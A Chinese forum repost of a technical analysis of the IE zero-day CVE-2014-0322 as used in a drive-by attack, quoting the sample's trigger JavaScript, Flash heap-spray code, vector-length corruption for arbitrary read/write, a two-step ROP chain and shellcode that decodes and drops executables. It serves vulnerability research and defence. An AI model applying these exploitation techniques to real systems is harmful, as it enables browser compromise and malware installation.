最近有个IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于IE里面,但是为了实现成功利用,这个样本还借用了flash作为辅助,来突破各种防护。IE+flash的组合也给分析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文章,大家一起交流学习。如有错误之处,还请大家批评指正。
本文涉及的内容包括:
1. 整个exploit的流程分析。
2. 漏洞的成因。
3. 使用flash uint vector进行DEP/ASLR绕过的技术。
4. 样本中的ROP片段。
5. 样本的shellcode行为。
样本网上搜搜都有,我就不发了,不传播恶意软件~
CVE-2014-0322 0day Exploit 分析
古河
http://weibo.com/u/1874932054
最近有个 IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于 IE 里面,但是为了
实现成功利用,这个样本还借用了 flash 作为辅助,来突破各种防护。IE+flash 的组合也给分
析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文
章,大家一起交流学习。如有错误之处,还请大家批评指正。
本文涉及的内容包括:
1. 整个 exploit 的流程分析。
2. 漏洞的成因。
3. 使用 flash uint vector 进行 DEP/ASLR 绕过的技术。
4. 样本中的 ROP 片段。
5. 样本的 shellcode 行为。
1.本文使用的样本
本文使用的样本一共包含三个文件
Index.html (就是那个 html 文件,原名叫什么我忘了)
Tope.swf
Erido.jpg
这些文件在网上搜一下基本都能找到了,我这里就不给出来了。
2.入口点
整个攻击的入口点是 index.html,它会尝试去加载 Tope.swf:
<embed src=Tope.swf width=10 height=10></embed>
3.Tope.swf 加载以及 heap spray
在 Tope.swf 初始化的时候,它首先尝试从服务器获取”Erido.jpg”
_local1.url = "Erido.jpg";
this.l.dataFormat = URLLoaderDataFormat.BINARY;
this.l.addEventListener(Event.COMPLETE, this.E_xx);
this.l.load(_local1);
接着尝试分配大量的 flash uint vector 对象,来进行 heap spray。每个 vector 包含 1022 (0x3fe)
个元素。由于每个 vector 对象包含 8 字节的头部(header),因此每个对象实际占用的内存大
小是 0x1000 字节(0x3fe * 4 + 8)。这部分 spray 总共需要大约 400M 左右的内存。
this.s = new Vector.<Object>(98688); // totally 98688 vectors to spray
var _local7:* = ((0x1000 / 4) - 2); // each vector has 0x3fe elements
…
while (_local2 < 98688) {
…
this.s[_local2] = new Vector.<uint>(_local7); // create one of the vectors
}
同时 Tope.swf 还会 spray 少量的 flash object vector,里面存放了同一个 flash.media.Sound 对
象的引用:
while (_local2 < 0x0400) {
this.ss[_local2] = new Vector.<Object>(_local9);
_local3 = 0;
while (_local3 < _local9) {
this.ss[_local2][_local3] = this.snd; //初始化成同一个 Sound 对象
_local3++;
};
_local2++;
};
做完 heap spray 后,flash 里面会通过 ExternalInterface 调用 index.html 里面的“puIHa3”函数。
4.use-after-free 漏洞和 inc-by-one 魔法
“puIHa3” 函数会尝试触发 CVE-2014-0322 漏洞,这是一个 CMarkup 对象的 user-after-free 漏
洞。网上已经有很多关于漏洞原理的分析了,这里就简单过一下:
var a=document.getElementsByTagName("script");
var b=a[0];
b.onpropertychange=fun; // 为 script 节 点 设 置 “onpropertychange”
08:45 处理函数
var c=document.createElement('SELECT'); // 创建一个 “select”节点
c=b.appendChild(c); // 将新创建的 select 节点附加到 script 节点上
当调用 appendChild 时,MSHTML!CElement::Var_appendChild 被调用,在这个过程中一个新
的 CMarkup 对象会被创建:
[B]MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f // new CMarkupObject created[/B]
MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
MSHTML!CElement::GetDOMInsertPosition+0x000001c0
MSHTML!CElement::InsertBeforeHelper+0x0000007e
MSHTML!CElement::InsertBeforeHelper+0x000000e5
MSHTML!CElement::InsertBefore+0x00000036
MSHTML!CElement::Var_appendChild+0x000000cb
然后 appendChild 继续运行,来到这里:
[B]MSHTML!CMarkup::NotifyElementEnterTree+0x1df
call CElement::HandleTextChange(bool)[/B]
这个函数的调用最终会触发 onpropertychange 事件,于是我们之前注册的回调函数会被调用,
回调函数中的一行代码回引发 DOM 的释放,从而造成 CMarkup 对象的释放:
this.outerHTML=this.outerHTML // frees the DOM thus frees the CMarkup Object
在 CMarkup 对象被释放以后,样本立即尝试将释放的内存站位:
for(a=0;a<arrLen;++a)
{
g_arr[a].title=d.substring(0,d.length);
}
上述代码通过分配一系列 string 对象,来实现站位。
在 CMarkup 被释放并被占位以后,程序继续运行,来到这里:
CMarkup::UpdateMarkupContentsVersion(void)
.text:637C943E
.text:637C943E mov eax, [edx+7Ch]
.text:637C9441 inc eax
.text:637C9442 or eax, 80000000h
.text:637C9447 mov [edx+7Ch], eax
.text:637C944A mov eax, [edx+0ACh]
.text:637C9450 test eax, eax
.text:637C9452 jz short loc_637C9457
[B].text:637C9454 inc dword ptr [eax+10h][/B]
这里 CMarkup 对象已经被释放并站位,运行 inc dword ptr [eax+10h]时,
eax+10h is 已经被设置成 0x1a1b2000 (可设置成任意值), 所以这条指令会将 1a1b2000 处
的数据增加 1。
这个漏洞的效果总结起来就是:可以对任意地址的一个字节实现+1。
那么这个任意地址数据+1 的效果,如何和这里的 exploit 利用联系起来呢,0x1a1b2000 处的
内存数据到底是什么呢?
大家是否还记得,Tope.swf 一开始就 spray 了大量 uint vector 到内存里面,实际上,如果 spray
是成功的,那么 0x1a1b2000 这个地址将会指向某个 vector 的 size 字段。先来看一下 uint vector
在内存里面的布局:
Uint vector 包含一个 8 字节的头部,其中 4 个字节是长度字段。
来看一下 1a1b2000 处的内存数据是不是这样:
0:006> dd 1a1b2000
1a1b2000 000003fe 08c24000 deadbee1 00000000
1a1b2010 1a1b2000 1a1b2000 00000000 00000000
可以看到,1a1b2000 处的 dword 值是 0x3fe,正是一开始 spray 的 uint vector 的长度。然后
执行完 inc dword ptr [eax+10h]指令之后,内存为:
0:006> dd 1a1b2000
1a1b2000 000003ff 08c24000 deadbee1 00000000
1a1b2010 1a1b2000 1a1b2000 00000000 00000000
这代表了什么呢?简单来讲:
我们先定义了一个 0x3fe 大小的 uint vector,然后通过漏洞,将其内存中的长度字段增加,
这样当我们在 flash 脚本中再次访问这个 uint vector 时,flash 库会误以为这个 vector 的长度
比 0x3fe 要大。于是我们可以实现对这个 vector 的越界读写。
修改完 vector 长度字段后,html 的任务就完成了,下面回到 flash 中继续执行。
5.任意内存读写以及 ROP
回到 flash 以后,首先样本会尝试找到那个大小被修改的 vector,我们叫它”V1”。然后执行
如下语句:
V1[0x3fe] = 1073741808;
很明显,这里下标已经越界了(因为定义 V1 的时候其长度为 0x3fe)。于是造成的效果时越
界写入了一个 dword。由于 spray 时这些 vector 是连续分配的,这个 1073741808 实际上覆
盖到了 V1 下面一个 vector 的长度字段,我们把这个 vector 叫做”V2”。
因为 V1 在内存中地址为 0x1a1b2000 , 因此 V2 的起始地址为 0x1a1b3000 (每个 vector 占
0x1000 字节),我们看一下 V2 的内存数据
0:006> dd 1a1b3000
1a1b3000 3ffffff0 08c24000 deadbee1 00000000
1a1b3010 1a1b2000 1a1b2000 00000000 00000000
可以看到,V2 的长度字段已经被篡改成了一个非常大的值 0x3ffffff0 (1073741808)。此时通
过操作 V2,我们几乎可以对整个内存空间实现任意读写。至此,“任意地址加一”成功转化
成了“任意地址读写”。
下面为了过 DEP 保护,样本开始构造 ROP。利用任意地址读写的功能,它在进程的内存空
间里面搜索 ROP 指令和函数,用的是 ntdll 里面的指令做 ROP。,这里讲一下搜索的基本过程,
详细的大家可以自己看代码。
flash.media.Sound 对象指针 -> flash.media.Sound 对象虚函数表 -> flash 模块基
地址 -> flash 某块导入表 -> kernel32 函数地址 -> kernel32 基地址 -> kernel32
导入表 -> ntdll 函数地址 -> ntdll 基地址 -> (ZwProtectVirtualMemory 地址和
[xchg eax, esp; ret;] 指令地址)
接着样本覆盖某个 flash.media.Sound 对象的虚函数表, 然后调用其函数,让控制流跳转的
ROP:
Flash!IAEModule_AEModule_PutKernel+0x212712:
66769ae2 ff5070 call dword ptr [eax+70h] ds:0023:1a1b3170=77a646a8
6.ROP 指令
这次的 ROP 相当简单,只有两步:
第一步:
77a646a8 94 xchg eax,esp // Pivot the stack pointer
第二步:
ntdll!ZwProtectVirtualMemory (1a1b3000, 1000, PAGE_EXECUTE_READWRITE)
第一条 ROP 指令将栈指针指向可控的内存,第二条指令将第二阶段 shellcode 的属性改为可
执行,然后返回到第二阶段的 shellcode。
7.第二阶段的 shellcode
第二阶段的 shellcode 起始地址为 1a1b311c。
这里首先恢复被覆盖的 flash.media.Sound 对象的虚表,然后搜寻 API 地址。调用 API 的时候
会做 inline-hook 检查,发现 hook 直接跳过前 5 个字节:
第二阶段 shellcode 干的事情如下:
1.将“Erido.jpg”包含的数据解码,算法如下:
foreach byte b in buffer:
if b != 0 && b != 0x95:
b ^= 0x95
2. 扔两个 PE 下来:
%TEMP%\sqlrenew.txt
%TEMP%\stream.exe
3. 调用 LoadLibrary 加载 sqlrenew.txt
4. 返回到 flash 代码
8.总结
这次的样本,虽然漏洞出在 IE 里面,但是利用了 flash vector 实现了 DEP/ASLR 的突破。这种
通过漏洞修改数组、字符串长度来实现高级 exploit 的方法已经非常常见,在 IE、pdf、flash、
java、firefox、chrome、safari 等支持脚本的软件的 exploit 里面都有出现。详细推荐阅读 xiaobo
大牛的文章:
http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-
zero-day-exploits.html
注:本帖由看雪论坛志愿者PEstone 重新将PDF整理排版,若和原文有出入,以原作者附件为准
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
上传的附件: